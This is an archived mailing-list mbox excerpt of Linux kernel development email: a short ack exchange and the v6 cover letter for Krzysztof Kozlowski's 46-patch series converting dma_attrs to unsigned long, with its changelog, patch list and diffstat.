	JTlHPNjtYB6T3CpcUTxO6tDi1P8Sqf9cqf+5shBZiGxFrW+o5phS5eyoUag02mClo2+Iqhwt
	vMeXGpT7wLUBcSySLZIOdUTJeVoRpglXNSDMkjIb6dBAtJyX+inCI0R1yFG1NkjUNCA7lpIt
	k2bUmrx4Tqk4KZ4QxVBR/XdLsBbLI5GV3VhKXYrhKcOfXZ+rT3F7Hn9KZR+nu9sc 
Original-Sender: linux-m68k-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-m68k.vger.kernel.org>
X-Mailing-List: linux-m68k@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.m68k:8774 gmane.linux.ports.mips.general:55459 gmane.linux.ports.ia64:27040 gmane.linux.documentation:39684 gmane.linux.kernel.pci:53368 gmane.comp.video.dri.devel:159355 gmane.linux.ports.sparc:23242 gmane.linux.kernel.samsung-soc:55333 gmane.linux.drivers.rdma:38584 gmane.linux.ports.hexagon:1035 gmane.linux.ports.sh.devel:54374 gmane.linux.ports.arm.rockchip:8181 gmane.comp.freedesktop.xorg.nouveau:25378 gmane.linux.kernel.arc:1320 gmane.linux.drivers.video-input-infrastructure:104309 gmane.linux.ports.arm.msm:20282 gmane.linux.ports.arm.mediatek:6044 gmane.linux.ports.arm.omap:137537 gmane.linux.kernel.metag:1119 gmane.linux.ports.arm.kernel:513577 gmane.linux.ports.parisc:26924 gmane.comp.freedesktop.xorg.drivers.freedreno:187
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.m68k/8774>

On 07/12/2016 02:16 PM, Daniel Vetter wrote:
> On Thu, Jun 30, 2016 at 10:23:39AM +0200, Krzysztof Kozlowski wrote:
>> Hi,
>>
>>
>> This is fifth approach for replacing struct dma_attrs with unsigned
>> long.
>>
>> The main patch (1/44) doing the change is split into many subpatches
>> for easier review (2-42).  They should be squashed together when
>> applying.
> 
> For all the drm driver patches:
> 
> Acked-by: Daniel Vetter <daniel.vetter@ffwll.ch>
> 
> Should I pull these in through drm-misc, or do you prefer to merge them
> through a special topic branch (with everything else) instead on your own?
> -Daniel

Thanks. I saw today that Andrew Morton applied the patchset so I think
he will handle it.

Best regards,
Krzysztof


From - Thu Nov 08 21:39:05 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Krzysztof Kozlowski <k.kozlowski-Sze3O3UU22JBDgjK7y7TUQ@public.gmane.org>
Newsgroups: gmane.linux.kernel.iommu,gmane.linux.ports.mips.general,gmane.linux.ports.ia64,gmane.linux.documentation,gmane.linux.kernel.pci,gmane.comp.video.dri.devel,gmane.linux.ports.sparc,gmane.linux.kernel.samsung-soc,gmane.linux.drivers.rdma,gmane.linux.ports.hexagon,gmane.linux.ports.sh.devel,gmane.linux.ports.arm.rockchip,gmane.comp.freedesktop.xorg.nouveau,gmane.linux.kernel.arc,gmane.linux.drivers.video-input-infrastructure,gmane.linux.ports.arm.msm,gmane.linux.ports.arm.mediatek,gmane.linux.ports.arm.omap,gmane.linux.kernel.metag,gmane.linux.ports.arm.kernel,gmane.linux.ports.parisc,gmane.comp.freedesktop.xorg.drivers.freedreno,gmane.linux.kernel,gmane.linux.ports.alpha,gmane.linux.ports.ppc64.devel
Subject: [PATCH v6 00/46] dma-mapping: Use unsigned long for dma_attrs
Date: Wed, 13 Jul 2016 10:39:27 +0200
Lines: 231
Approved: news@gmane.org
Message-ID: <1468399167-28083-1-git-send-email-k.kozlowski@samsung.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1468399236 5092 80.91.229.3 (13 Jul 2016 08:40:36 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 13 Jul 2016 08:40:36 +0000 (UTC)
Cc: linux-mips-6z/3iImG2C8G8FEW9MqTrA@public.gmane.org, Krzysztof Kozlowski <k.kozlowski-Sze3O3UU22JBDgjK7y7TUQ@public.gmane.org>,
	linux-ia64-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, linux-doc-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
	linux-pci-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, linux-fbdev-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
	dri-devel-PD4FTy7X32lNgt0PjOBp9y5qC8QIuHrW@public.gmane.org, sparclinux-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
	linux-s390-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, linux-samsung-soc-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
	linux-c6x-dev-jPsnJVOj+W6hPH1hqNUYSQ@public.gmane.org, linux-rdma-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
	linux-hexagon-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, linux-sh-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
	hch-wEGCiKHe2LqWVfeAwA7xHQ@public.gmane.org, linux-rockchip-IAPFreCvJWM7uuMidbF8XUB+6BGkLq7r@public.gmane.org,
	nouveau-PD4FTy7X32lNgt0PjOBp9y5qC8QIuHrW@public.gmane.org, xen-devel-GuqFBffKawtpuQazS67q72D2FQJk+8+b@public.gmane.org,
	linux-snps-arc-IAPFreCvJWM7uuMidbF8XUB+6BGkLq7r@public.gmane.org, linux-media-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
	linux-xtensa-PjhNF2WwrV/0Sa2dR60CXw@public.gmane.org,
	Bartlomiej Zolnierkiewicz <b.zolnierkie-Sze3O3UU22JBDgjK7y7TUQ@public.gmane.org>,
	linux-arm-msm-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, linux-m68k-cunTk1MwBs8S/qaLPR03pWD2FQJk+8+b@public.gmane.org,
	linux-mediatek-IAPFreCvJWM7uuMidbF8XUB+6BGkLq7r@public.gmane.org, linux-omap-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
	linux-metag-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, linux-arm-kernel-IAPFreCvJWM7uuMidbF8XWGXanvQGlWp@public.gmane.org
To: Andrew Morton <akpm-de/tnXTf+JLsfHDXvbKv3WD2FQJk+8+b@public.gmane.org>
Original-X-From: iommu-bounces-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org Wed Jul 13 10:40:20 2016
Return-path: <iommu-bounces-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org>
Envelope-to: glki-iommu@m.gmane.org
Original-Received: from mail.linuxfoundation.org ([140.211.169.12])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <iommu-bounces-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org>)
	id 1bNFiM-0000zW-44
	for glki-iommu@m.gmane.org; Wed, 13 Jul 2016 10:40:18 +0200
Original-Received: from mail.linux-foundation.org (localhost [127.0.0.1])
	by mail.linuxfoundation.org (Postfix) with ESMTP id 5951B949;
	Wed, 13 Jul 2016 08:40:16 +0000 (UTC)
X-Original-To: iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org
Delivered-To: iommu-i9wRM+HIrmnmtl4Z8vJ8Kg761KYD1DLY@public.gmane.org
Original-Received: from smtp1.linuxfoundation.org (smtp1.linux-foundation.org
	[172.17.192.35])
	by mail.linuxfoundation.org (Postfix) with ESMTPS id 3CAFE948
	for <iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org>;
	Wed, 13 Jul 2016 08:40:14 +0000 (UTC)
X-Greylist: domain auto-whitelisted by SQLgrey-1.7.6
Original-Received: from mailout2.w1.samsung.com (mailout2.w1.samsung.com
	[210.118.77.12])
	by smtp1.linuxfoundation.org (Postfix) with ESMTPS id 063B213F
	for <iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org>;
	Wed, 13 Jul 2016 08:40:12 +0000 (UTC)
Original-Received: from eucpsbgm2.samsung.com (unknown [203.254.199.245])
	by mailout2.w1.samsung.com
	(Oracle Communications Messaging Server 7.0.5.31.0 64bit (built May 5
	2014)) with ESMTP id <0OA80095GW2X6Y30-eFIaCgeugYYN6F2oBFWwZJQQlyuF8BCz@public.gmane.org> for
	iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org; Wed, 13 Jul 2016 09:40:09 +0100 (BST)
X-AuditID: cbfec7f5-f792a6d000001302-c1-5785fe69c625
Original-Received: from eusync3.samsung.com ( [203.254.199.213])
	by eucpsbgm2.samsung.com (EUCPMTA) with SMTP id 23.C0.04866.96EF5875;
	Wed, 13 Jul 2016 09:40:09 +0100 (BST)
Original-Received: from AMDC2174.DIGITAL.local ([106.120.53.17])
	by eusync3.samsung.com (Oracle Communications Messaging Server
	7.0.5.31.0 64bit (built May  5 2014))
	with ESMTPA id <0OA800KFHW2S0E10-uuLvPlfRdKdLN7c7dRTbYkEOCMrvLtNR@public.gmane.org>; Wed,
	13 Jul 2016 09:40:09 +0100 (BST)
X-Mailer: git-send-email 1.9.1
X-Brightmail-Tracker: H4sIAAAAAAAAAzWRfSzUcRzHfX9Pfq4uv6T80tJ2ZW0MKW2fSq0/TL/6w7RslmX6xW8ecsfu
	nNJWFIfEOU+lXI128lCcx5I/Up6lmysi5mkxblMoYWjkZv33ej/s8/njTeM29YQ9HS6LEeQy
	PlJCiYju9Y6vLuHrKv8j7yesQat/RUF1vp6EvsU5CrTTBgTdmucYFDadghmTO8yOtCKomegn
	IavJYAmtBRoMSl9W4lCUrCOgUz1PwlxSAwXzqbMk9DZqKSiZrMAhvap+UyZ+RjA1lEKAJi/b
	Egp0mQR8/2jEwPCsg4Kp5gwCfo9v4KApSsQhv+cdBtq/uTiohiswKDNUWMLa8joJy2o1CQld
	pZtUl4OdPcQNVPpytaVOXEPNDMZ15q8RXFtZBcaZPrzBubEHHRhXq4vncr6VIK5LtURwPflF
	iGuZ7yM4dV054hZqHHx3BIg8Q4TI8FhB7nbmqiisZWUGRa8G3JzU95AJKON0GrKiWcaD1Q+N
	kVu8hzWO6qk0JKJtmGLENvx5jW2Juxhb9ekXZm5RzDG2tkRHmdmWcWHLpxtxcwlnFmg2Kese
	YQ52Md5s27xm8yxNE4wjmz2lNNti5hxrastCW98c2K72HFKDthUii3K0W1AGRyuuhUqPuip4
	qUIpC3UNjpLWoK0xFxtQcfvJZsTQSLJdXLpT5W9D8rGKOGkzYmlcYis+vrJpiUP4uFuCPCpI
	rowUFM1oH01I7MSPG+f8bJhQPka4LgjRgvx/itFW9gno6Qn7200x4b0pPn6FvY6pAxkPx6/I
	Ls71ZzY+csjdO9htTP9yOGhjgo2wy7iwliypxhZdvVUvvMTqVNPqeddAD694/Sgd 
X-Spam-Status: No, score=-5.6 required=5.0 tests=BAYES_00,HDRS_LCASE,
	RCVD_IN_DNSWL_HI, RP_MATCHES_RCVD,
	SUSPICIOUS_RECIPS autolearn=ham version=3.3.1
X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on
	smtp1.linux-foundation.org
X-BeenThere: iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org
X-Mailman-Version: 2.1.12
Precedence: list
List-Id: Development issues for Linux IOMMU support
	<iommu.lists.linux-foundation.org>
List-Unsubscribe: <https://lists.linuxfoundation.org/mailman/options/iommu>,
	<mailto:iommu-request-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org?subject=unsubscribe>
List-Archive: <http://lists.linuxfoundation.org/pipermail/iommu/>
List-Post: <mailto:iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org>
List-Help: <mailto:iommu-request-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org?subject=help>
List-Subscribe: <https://lists.linuxfoundation.org/mailman/listinfo/iommu>,
	<mailto:iommu-request-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org?subject=subscribe>
Original-Sender: iommu-bounces-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org
Errors-To: iommu-bounces-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org
Xref: news.gmane.org gmane.linux.kernel.iommu:14487 gmane.linux.ports.mips.general:55463 gmane.linux.ports.ia64:27042 gmane.linux.documentation:39691 gmane.linux.kernel.pci:53401 gmane.comp.video.dri.devel:159493 gmane.linux.ports.sparc:23245 gmane.linux.kernel.samsung-soc:55352 gmane.linux.drivers.rdma:38636 gmane.linux.ports.hexagon:1036 gmane.linux.ports.sh.devel:54376 gmane.linux.ports.arm.rockchip:8212 gmane.comp.freedesktop.xorg.nouveau:25389 gmane.linux.kernel.arc:1321 gmane.linux.drivers.video-input-infrastructure:104385 gmane.linux.ports.arm.msm:20290 gmane.linux.ports.arm.mediatek:6057 gmane.linux.ports.arm.omap:137556 gmane.linux.kernel.metag:1120 gmane.linux.ports.arm.kernel:513801 gmane.linux.ports.parisc:26925 gmane.comp.freedesktop.xorg.drivers.freedreno:189 gmane.linux.kernel:2264925 gmane.linux.ports.alpha:3847 gmane.linux.ports.ppc64.devel:130110
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.iommu/14487>

Hi,

The fifth version of this patchset was merged by Andrew Morton
few days ago.  It was rebased on v4.7-rc5 so it missed some ongoing
changes.

This is just rebase on next-20160713.


For easier testing the patchset is available here:
repo:   https://github.com/krzk/linux
branch: for-next/dma-attrs-const-v6


Changes since v5
================
1. New patches:
   1/46:  [media] mtk-vcodec: Remove unused dma_attrs
   44/46: remoteproc: qcom: Use unsigned long for dma_attrs
2. 19/46: rebased on next, some more changes inside
3. Added accumulated acks: Marek Szyprowski, Richard Kuo,
   Konrad Rzeszutek Wilk, Daniel Vetter and Joerg Roedel.


Changes since v4
================
1. Collect some acks. Still need more.
2. Minor fixes pointed by Robin Murphy.
3. Applied changes from Bart Van Assche's comment.
4. More tests and builds (using https://www.kernel.org/pub/tools/crosstool/).


Changes since v3
================
1. Collect some acks.
2. Drop wrong patch 1/45 ("powerpc: dma-mapping: Don't hard-code
   the value of DMA_ATTR_WEAK_ORDERING").
3. Minor fix pointed out by Michael Ellerman.


Changes since v2
================
1. Follow Christoph Hellwig's comments (don't use BIT add
   documentation, remove dma_get_attr).


Rationale
=========
The dma-mapping core and the implementations do not change the
DMA attributes passed by pointer.  Thus the pointer can point to const
data.  However the attributes do not have to be a bitfield. Instead
unsigned long will do fine:

1. This is just simpler.  Both in terms of reading the code and setting
   attributes.  Instead of initializing local attributes on the stack
   and passing pointer to it to dma_set_attr(), just set the bits.

2. It brings safeness and checking for const correctness because the
   attributes are passed by value.


Best regards,
Krzysztof


Krzysztof Kozlowski (46):
  [media] mtk-vcodec: Remove unused dma_attrs
  dma-mapping: Use unsigned long for dma_attrs
  alpha: dma-mapping: Use unsigned long for dma_attrs
  arc: dma-mapping: Use unsigned long for dma_attrs
  ARM: dma-mapping: Use unsigned long for dma_attrs
  arm64: dma-mapping: Use unsigned long for dma_attrs
  avr32: dma-mapping: Use unsigned long for dma_attrs
  blackfin: dma-mapping: Use unsigned long for dma_attrs
  c6x: dma-mapping: Use unsigned long for dma_attrs
  cris: dma-mapping: Use unsigned long for dma_attrs
  frv: dma-mapping: Use unsigned long for dma_attrs
  drm/exynos: dma-mapping: Use unsigned long for dma_attrs
  drm/mediatek: dma-mapping: Use unsigned long for dma_attrs
  drm/msm: dma-mapping: Use unsigned long for dma_attrs
  drm/nouveau: dma-mapping: Use unsigned long for dma_attrs
  drm/rockship: dma-mapping: Use unsigned long for dma_attrs
  infiniband: dma-mapping: Use unsigned long for dma_attrs
  iommu: dma-mapping: Use unsigned long for dma_attrs
  [media] dma-mapping: Use unsigned long for dma_attrs
  xen: dma-mapping: Use unsigned long for dma_attrs
  swiotlb: dma-mapping: Use unsigned long for dma_attrs
  powerpc: dma-mapping: Use unsigned long for dma_attrs
  video: dma-mapping: Use unsigned long for dma_attrs
  x86: dma-mapping: Use unsigned long for dma_attrs
  iommu: intel: dma-mapping: Use unsigned long for dma_attrs
  h8300: dma-mapping: Use unsigned long for dma_attrs
  hexagon: dma-mapping: Use unsigned long for dma_attrs
  ia64: dma-mapping: Use unsigned long for dma_attrs
  m68k: dma-mapping: Use unsigned long for dma_attrs
  metag: dma-mapping: Use unsigned long for dma_attrs
  microblaze: dma-mapping: Use unsigned long for dma_attrs
  mips: dma-mapping: Use unsigned long for dma_attrs
  mn10300: dma-mapping: Use unsigned long for dma_attrs
  nios2: dma-mapping: Use unsigned long for dma_attrs
  openrisc: dma-mapping: Use unsigned long for dma_attrs
  parisc: dma-mapping: Use unsigned long for dma_attrs
  misc: mic: dma-mapping: Use unsigned long for dma_attrs
  s390: dma-mapping: Use unsigned long for dma_attrs
  sh: dma-mapping: Use unsigned long for dma_attrs
  sparc: dma-mapping: Use unsigned long for dma_attrs
  tile: dma-mapping: Use unsigned long for dma_attrs
  unicore32: dma-mapping: Use unsigned long for dma_attrs
  xtensa: dma-mapping: Use unsigned long for dma_attrs
  remoteproc: qcom: Use unsigned long for dma_attrs
  dma-mapping: Remove dma_get_attr
  dma-mapping: Document the DMA attributes next to the declaration

 Documentation/DMA-API.txt                          |  33 +++---
 Documentation/DMA-attributes.txt                   |   2 +-
 arch/alpha/include/asm/dma-mapping.h               |   2 -
 arch/alpha/kernel/pci-noop.c                       |   2 +-
 arch/alpha/kernel/pci_iommu.c                      |  12 +-
 arch/arc/mm/dma.c                                  |  12 +-
 arch/arm/common/dmabounce.c                        |   4 +-
 arch/arm/include/asm/dma-mapping.h                 |  13 +--
 arch/arm/include/asm/xen/page-coherent.h           |  16 +--
 arch/arm/mm/dma-mapping.c                          | 117 +++++++++----------
 arch/arm/xen/mm.c                                  |   8 +-
 arch/arm64/mm/dma-mapping.c                        |  66 +++++------
 arch/avr32/mm/dma-coherent.c                       |  12 +-
 arch/blackfin/kernel/dma-mapping.c                 |   8 +-
 arch/c6x/include/asm/dma-mapping.h                 |   4 +-
 arch/c6x/kernel/dma.c                              |   9 +-
 arch/c6x/mm/dma-coherent.c                         |   4 +-
 arch/cris/arch-v32/drivers/pci/dma.c               |   9 +-
 arch/frv/mb93090-mb00/pci-dma-nommu.c              |   8 +-
 arch/frv/mb93090-mb00/pci-dma.c                    |   9 +-
 arch/h8300/kernel/dma.c                            |   8 +-
 arch/hexagon/include/asm/dma-mapping.h             |   1 -
 arch/hexagon/kernel/dma.c                          |   8 +-
 arch/ia64/hp/common/sba_iommu.c                    |  22 ++--
 arch/ia64/include/asm/machvec.h                    |   1 -
 arch/ia64/kernel/pci-swiotlb.c                     |   4 +-
 arch/ia64/sn/pci/pci_dma.c                         |  22 ++--
 arch/m68k/kernel/dma.c                             |  12 +-
 arch/metag/kernel/dma.c                            |  16 +--
 arch/microblaze/include/asm/dma-mapping.h          |   1 -
 arch/microblaze/kernel/dma.c                       |  12 +-
 arch/mips/cavium-octeon/dma-octeon.c               |   8 +-
 arch/mips/loongson64/common/dma-swiotlb.c          |  10 +-
 arch/mips/mm/dma-default.c                         |  20 ++--
 arch/mips/netlogic/common/nlm-dma.c                |   4 +-
 arch/mn10300/mm/dma-alloc.c                        |   8 +-
 arch/nios2/mm/dma-mapping.c                        |  12 +-
 arch/openrisc/kernel/dma.c                         |  21 ++--
 arch/parisc/kernel/pci-dma.c                       |  18 +--
 arch/powerpc/include/asm/dma-mapping.h             |   7 +-
 arch/powerpc/include/asm/iommu.h                   |  10 +-
 arch/powerpc/kernel/dma-iommu.c                    |  12 +-
 arch/powerpc/kernel/dma.c                          |  18 +--
 arch/powerpc/kernel/ibmebus.c                      |  12 +-
 arch/powerpc/kernel/iommu.c                        |  12 +-
 arch/powerpc/kernel/vio.c                          |  12 +-
 arch/powerpc/platforms/cell/iommu.c                |  28 ++---
 arch/powerpc/platforms/pasemi/iommu.c              |   2 +-
 arch/powerpc/platforms/powernv/npu-dma.c           |   8 +-
 arch/powerpc/platforms/powernv/pci-ioda.c          |   4 +-
 arch/powerpc/platforms/powernv/pci.c               |   2 +-
 arch/powerpc/platforms/powernv/pci.h               |   2 +-
 arch/powerpc/platforms/ps3/system-bus.c            |  18 +--
 arch/powerpc/platforms/pseries/iommu.c             |   6 +-
 arch/powerpc/sysdev/dart_iommu.c                   |   2 +-
 arch/s390/include/asm/dma-mapping.h                |   1 -
 arch/s390/pci/pci_dma.c                            |  23 ++--
 arch/sh/include/asm/dma-mapping.h                  |   4 +-
 arch/sh/kernel/dma-nommu.c                         |   4 +-
 arch/sh/mm/consistent.c                            |   4 +-
 arch/sparc/kernel/iommu.c                          |  12 +-
 arch/sparc/kernel/ioport.c                         |  24 ++--
 arch/sparc/kernel/pci_sun4v.c                      |  12 +-
 arch/tile/kernel/pci-dma.c                         |  28 ++---
 arch/unicore32/mm/dma-swiotlb.c                    |   4 +-
 arch/x86/include/asm/dma-mapping.h                 |   5 +-
 arch/x86/include/asm/swiotlb.h                     |   4 +-
 arch/x86/include/asm/xen/page-coherent.h           |   9 +-
 arch/x86/kernel/amd_gart_64.c                      |  20 ++--
 arch/x86/kernel/pci-calgary_64.c                   |  14 +--
 arch/x86/kernel/pci-dma.c                          |   4 +-
 arch/x86/kernel/pci-nommu.c                        |   4 +-
 arch/x86/kernel/pci-swiotlb.c                      |   4 +-
 arch/x86/pci/sta2x11-fixup.c                       |   2 +-
 arch/x86/pci/vmd.c                                 |  16 +--
 arch/xtensa/kernel/pci-dma.c                       |  12 +-
 drivers/gpu/drm/exynos/exynos_drm_fbdev.c          |   2 +-
 drivers/gpu/drm/exynos/exynos_drm_g2d.c            |  12 +-
 drivers/gpu/drm/exynos/exynos_drm_gem.c            |  20 ++--
 drivers/gpu/drm/exynos/exynos_drm_gem.h            |   2 +-
 drivers/gpu/drm/mediatek/mtk_drm_gem.c             |  13 +--
 drivers/gpu/drm/mediatek/mtk_drm_gem.h             |   2 +-
 drivers/gpu/drm/msm/msm_drv.c                      |  13 +--
 .../gpu/drm/nouveau/nvkm/subdev/instmem/gk20a.c    |  13 +--
 drivers/gpu/drm/rockchip/rockchip_drm_gem.c        |  17 ++-
 drivers/gpu/drm/rockchip/rockchip_drm_gem.h        |   2 +-
 drivers/infiniband/core/umem.c                     |   7 +-
 drivers/iommu/amd_iommu.c                          |  12 +-
 drivers/iommu/dma-iommu.c                          |   8 +-
 drivers/iommu/intel-iommu.c                        |  12 +-
 .../media/platform/mtk-vcodec/mtk_vcodec_enc_drv.c |   4 -
 drivers/media/platform/sti/bdisp/bdisp-hw.c        |  26 ++---
 drivers/media/v4l2-core/videobuf2-dma-contig.c     |  28 ++---
 drivers/media/v4l2-core/videobuf2-dma-sg.c         |  21 +---
 drivers/media/v4l2-core/videobuf2-vmalloc.c        |   2 +-
 drivers/misc/mic/host/mic_boot.c                   |  20 ++--
 drivers/parisc/ccio-dma.c                          |  16 +--
 drivers/parisc/sba_iommu.c                         |  16 +--
 drivers/remoteproc/qcom_q6v5_pil.c                 |   7 +-
 drivers/video/fbdev/omap2/omapfb/omapfb-main.c     |  12 +-
 drivers/video/fbdev/omap2/omapfb/omapfb.h          |   3 +-
 drivers/xen/swiotlb-xen.c                          |  14 +--
 include/linux/dma-attrs.h                          |  71 ------------
 include/linux/dma-iommu.h                          |   6 +-
 include/linux/dma-mapping.h                        | 128 ++++++++++++++-------
 include/linux/swiotlb.h                            |  10 +-
 include/media/videobuf2-core.h                     |   6 +-
 include/media/videobuf2-dma-contig.h               |   2 -
 include/rdma/ib_verbs.h                            |   8 +-
 include/xen/swiotlb-xen.h                          |  12 +-
 lib/dma-noop.c                                     |   9 +-
 lib/swiotlb.c                                      |  13 ++-
 112 files changed, 694 insertions(+), 798 deletions(-)
 delete mode 100644 include/linux/dma-attrs.h

-- 
1.9.1


From - Thu Nov 08 21:39:05 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Krzysztof Kozlowski <k.kozlowski-Sze3O3UU22JBDgjK7y7TUQ@public.gmane.org>
Newsgroups: gmane.linux.kernel.iommu,gmane.linux.ports.mips.general,gmane.linux.ports.ia64,gmane.linux.documentation,gmane.comp.video.dri.devel,gmane.linux.kernel.arc,gmane.linux.ports.arm.rockchip,gmane.linux.kernel.metag,gmane.linux.ports.arm.kernel,gmane.linux.ports.parisc,gmane.linux.kernel,gmane.linux.drivers.video-input-infrastructure,gmane.linux.ports.ppc64.devel
Subject: [PATCH v6 45/46] dma-mapping: Remove dma_get_attr
Date: Wed, 13 Jul 2016 10:41:36 +0200
Lines: 543
Approved: news@gmane.org
Message-ID: <1468399300-5399-45-git-send-email-k.kozlowski@samsung.com>
References: <1468399167-28083-1-git-send-email-k.kozlowski@samsung.com>
	<1468399300-5399-1-git-send-email-k.kozlowski@samsung.com>
	<1468399300-5399-2-git-send-email-k.kozlowski@samsung.com>
	<1468399300-5399-3-git-send-email-k.kozlowski@samsung.com>
	<1468399300-5399-4-git-send-email-k.kozlowski@samsung.com>
	<1468399300-5399-5-git-send-email-k.kozlowski@samsung.com>
	<1468399300-5399-6-git-send-email-k.kozlowski@samsung.com>
	<1468399300-5399-7-git-send-email-k.kozlowski@samsung.com>
	<1468399300-5399-8-git-send-email-k.kozlowski@samsung.com>
	<1468399300-5399-9-git-send-email-k.kozlowski@samsung.com>
	<1468399300-5399-10-git-send-email-k.kozlowski@samsung.com>
	<1468399300-5399-11-git-send-email-k.kozlowski@samsung.com>
	<1468399300-5399-12-git-send-email-k.kozlowski@samsung.com>
	<1468399300-5399-13-git-send-email-k.kozlowski@samsung.com>
	<1468399300-5399-14-git-send-email-k.kozlowski@samsung.com>
	<1468399300-5399-15-git-send-email-k.kozlowski@samsung.com>
	<1468399300-5399-16-git-send-email-k.kozlowski@samsung.com>
	<1468399300-5399-17-git-send-email-k.kozlowski@samsung.com>
	<1468399300-5399-18-git-send-email-k.kozlowski@samsung.com>
	<1468399300-5399-19-git-send-email-k.kozlowski@samsung.com>
	<1468399300-5399-20-git-send-email-k.kozlowski@samsung.com>
	<1468399300-5399-21-git-send-email-k.kozlowski@samsung.com>
	<1468399300-5399-22-git-send-email-k.kozlowski@samsung.com>
	<1468399300-5399-23-git-send-email-k.kozlowski@samsung.com>
	<1468399300-5399-24-git-send-email-k.kozlowski@samsung.com>
	<1468399300-5399-25-git-send-email-k.kozlowski@samsung.com>
	<1468399300-5399-26-git-send-email-k.kozlowski@samsung.com>
	<1468399300-5399-27-git-send-email-k.kozlowski@samsung.com>
	<1468399300-5399-28-git-send-email-k.kozlowski@samsung.com>
	<1468399300-5399-29-git-send-email-k.kozlowski@samsung.com>
	<1468399300-5399-30-git-send-email-k.kozlowski@samsung.com>
	<1468399300-5399-31-git-send-email-k.kozlowski@samsung.com>
	<1468399300-5399-32-git-send-email-k.kozlowski@samsung.com>
	<1468399300-5399-33-git-send-email-k.kozlowski@samsung.com>
	<1468399300-5399-34-git-send-email-k.kozlowski@samsung.com>
	<1468399300-5399-35-git-send-email-k.kozlowski@samsung.com>
	<1468399300-5399-36-git-send-email-k.kozlowski@samsung.com>
	<1468399300-5399-37-git-send-email-k.kozlowski@samsung.com>
	<1468399300-5399-38-git-send-email-k.kozlowski@samsung.com>
	<1468399300-5399-39-git-send-email-k.kozlowski@samsung.com>
	<1468399300-5399-40-git-send-email-k.kozlowski@samsung.com>
	<1468399300-5399-41-git-send-email-k.kozlowski@samsung.com>
	<1468399300-5399-42-git-send-email-k.kozlowski@samsung.com>
	<1468399300-5399-43-git-send-email-k.kozlowski@samsung.com>
	<1468399300-5399-44-git-send-email-k.kozlowski@samsung.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1468399390 7854 80.91.229.3 (13 Jul 2016 08:43:10 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 13 Jul 2016 08:43:10 +0000 (UTC)
Cc: linux-mips-6z/3iImG2C8G8FEW9MqTrA@public.gmane.org, Krzysztof Kozlowski <k.kozlowski-Sze3O3UU22JBDgjK7y7TUQ@public.gmane.org>,
	linux-ia64-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, Heiko Stuebner <heiko-4mtYJXux2i+zQB+pC5nmwQ@public.gmane.org>,
	linux-doc-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, David Airlie <airlied-cv59FeDIM0c@public.gmane.org>,
	Benjamin Herrenschmidt <benh-XVmvHMARGAS8U2dJNN8I7kB+6BGkLq7r@public.gmane.org>,
	Will Deacon <will.deacon-5wv7dgnIgG8@public.gmane.org>, dri-devel-PD4FTy7X32lNgt0PjOBp9y5qC8QIuHrW@public.gmane.org,
	"James E.J. Bottomley" <jejb-6jwH94ZQLHl74goWV3ctuw@public.gmane.org>,
	Paul Mackerras <paulus-eUNUBHrolfbYtjvyW6yDsg@public.gmane.org>,
	Hans-Christian Egtvedt <egtvedt-BrfabpQBY5qlHtIdYg32fQ@public.gmane.org>,
	Jonas Bonn <jonas-A9uVI2HLR7kOP4wsBPIw7w@public.gmane.org>,
	Stefano Stabellini <sstabellini-DgEjT+Ai2ygdnm+yROfE0A@public.gmane.org>,
